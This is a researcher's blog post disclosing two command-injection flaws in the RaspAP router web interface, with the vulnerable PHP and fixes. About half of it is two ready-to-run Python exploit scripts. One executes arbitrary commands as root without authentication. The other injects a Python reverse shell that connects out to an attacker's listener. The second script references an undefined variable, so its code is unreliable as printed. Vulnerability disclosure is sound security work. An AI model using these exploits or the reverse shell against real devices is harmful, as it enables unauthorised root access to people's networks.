Multiple Vulnerabilities in RaspAP

Ismael0x00
3 min readJul 31, 2023

--

RaspAP is an awesome feature-rich wireless router software that just works on many popular Debian-based devices, including the Raspberry Pi. It’s written in PHP, so while doing some code analysis I found some trivial bugs that can be used to get remote root RCE.

  1. Unauthenticated Command Injection as Root (CVE-2022–39986)

Affected versions: 2.8.* — 2.8.7

A Command Injection vulnerability exists in “RaspAP web-gui” in the “cfg_id” POST parameter at /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php, the parameter is not sanitized. Note that while most endpoints on the application require a valid CSRF token, this endpoint does not. Since no other authentication mechanisms are securing this endpoint, the exploitation does not require any authentication and commands are executed as root.

View code on Github

....
if (isset($_POST['cfg_id'])) { //
$ovpncfg_id = $_POST['cfg_id']; // Here cfg_id is used without sanitization
$ovpncfg_files = pathinfo(RASPI_OPENVPN_CLIENT_LOGIN, PATHINFO_DIRNAME).'/'.$ovpncfg_id.'_*.conf'; // then it's appended to a path
exec("sudo rm $ovpncfg_files", $return); // exec sudo is called on the path
...

PoC

Just sending POST request with cfg_id with crafted command gets us execution as sudo.

# Exploit Title: RaspAP - Remote Code Execution (RCE) (Unauthenticated)
# Date: Aug 2022
# CVE-ID: CVE-2022–39986
# Author: Ismael0x00 <https://twitter.com/ismael0x00>
# Vendor Homepage: https://raspap.com/
# Software Link: https://github.com/RaspAP/raspap-webgui
# Version: 2.8.0>=2.8.7
# Tested on: Linux raspberrypi 5.10.*

import requests
from requests.api import post
import sys, re

if len(sys.argv) != 4:
print("python3 CVE-2022–39986.py <target-host> <target-port> <command>")
sys.exit()
else:
target_host = sys.argv[1]
target_port = sys.argv[2]
command = ";"+sys.argv[3]+";"

endpoint = "ajax/openvpn/del_ovpncfg.php"
url = "http://{}:{}/{}".format(target_host,target_port,endpoint)

s = requests.Session()
post_data = {
"cfg_id": command
}
post_Request = s.post(url, data=post_data)
if post_Request.status_code==200:
print("[*] Sending command ... ")
print(post_Request.text)
print("Done")
else:
print("Error.["+post_Request.text+"]")

Mitigation:

Update was release which FIXED the bug by wrapping the parameter with PHP’s escapeshellarg().

2. Authenticated Command Injection as Root(CVE-2022–39987)

Affected versions: 2.8.* — 2.9.2 (latest as of Jul 2023)

An Authenticated Command Injection vulnerability exists in “RaspAP’s web-gui” in the “entity” POST parameter in /ajax/networking/get_wgkey.php.

When generating Private/Public key pairs it takes “entity” parameter from POST is not sanitized even though protected from unauthorized users, hence user with web access can ultimately execute commands as root. The parameter is passed as path which gets executed with exec(‘sudo path’).., therefor injected command gets executed as root.

View Code on Github

...
$entity = $_POST['entity'];

if (isset($entity)) {

// generate public/private key pairs for entity
$pubkey = RASPI_WIREGUARD_PATH.$entity.'-public.key';
$privkey = RASPI_WIREGUARD_PATH.$entity.'-private.key';
$pubkey_tmp = '/tmp/'.$entity.'-public.key';
$privkey_tmp = '/tmp/'.$entity.'-private.key';

exec("sudo wg genkey | tee $privkey_tmp | wg pubkey > $pubkey_tmp", $return);
$wgdata['pubkey'] = str_replace("\n",'',file_get_contents($pubkey_tmp));
exec("sudo mv $privkey_tmp $privkey", $return);
exec("sudo mv $pubkey_tmp $pubkey", $return);
...

PoC

Sending POST request with csrf token(valid credential required) and crafted ‘entity parameter command gets us execution as sudo.

# Exploit Title: RaspAP - Remote Code Execution (RCE) (Authenticated)
# Date: Aug 2022
# CVE-ID: CVE-2022–39987
# Author: Ismael0x00 <https://twitter.com/ismael0x00>
# Vendor Homepage: https://raspap.com/
# Software Link: https://github.com/RaspAP/raspap-webgui
# Version: 2.8.0>=2.9.2
# Tested on: Linux raspberrypi 5.10.92

import requests
from requests.api import post
from requests.auth import HTTPBasicAuth
from bs4 import BeautifulSoup
import sys, re

if len(sys.argv) != 5:
print("python3 CVE-2022–39987.py <target-host> <target-port> <reverse-host> <reverse-port>")
sys.exit()
else:
target_host = sys.argv[1]
target_port = sys.argv[2]
listener_host = sys.argv[3]
listener_port = sys.argv[4]

username = "admin"
password = "secret"

endpoint = "/ajax/networking/get_wgkey.php"
command = f"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{listener_host}\",{listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
url = "http://{}:{}/{}".format(target_host,target_port,endpoint)

s = requests.Session()

get_Request = s.get(url, auth=HTTPBasicAuth(username, password))
soup = BeautifulSoup(get_Request.text, "lxml")
csrf_token = soup.find("meta",{"name":"csrf_token"}).get("content")

post_data = {
"csrf_token": csrf_token,
"entity": "; {}".format(exploit)
}
post_Request = s.post(url, data=post_data, auth=HTTPBasicAuth(username, password))
if post_Request.status_code:
print("Reverse Shell sent.")
else:
print("Something went wrong.")
print("Done")

Mitigation: Use PHP’s built-in escapeshellarg() to sanitize the parameter.

--

--